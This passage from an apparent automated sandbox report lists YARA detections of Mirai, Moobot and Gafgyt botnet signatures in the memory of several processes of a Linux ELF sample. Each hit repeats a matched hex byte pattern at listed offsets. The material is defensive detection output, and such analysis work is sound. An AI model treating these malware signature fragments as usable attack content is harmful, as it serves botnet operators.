38 2F 78 46 4A 2F 0x20c6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20da:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20ee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2102:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2116:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x212a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x213e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2152:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2166:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x217a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6269	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6269	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1871:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1885:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1899:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18ad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18d5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18e9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1911:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1925:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1939:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1961:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1975:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1989:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6270	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6270	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6270	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xeb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xef0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfcc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1008:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x101c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1030:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1044:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6271	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6271	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6271	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x112b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x113f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1153:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1167:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x117b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1207:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x121b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x122f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1243:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1257:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x126b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x127f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1293:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6272	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6272	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x18f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x190b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1933:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1947:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x196f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1983:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1997:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a23:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a37:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a4b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a5f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a73:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a87:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6273	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6273	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6273	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6274	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6274	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6274	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6275	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6275	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x177b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x178f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1807:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x181b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x182f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1843:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1857:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1893:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18e3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x190b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6276	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6276	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6276	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
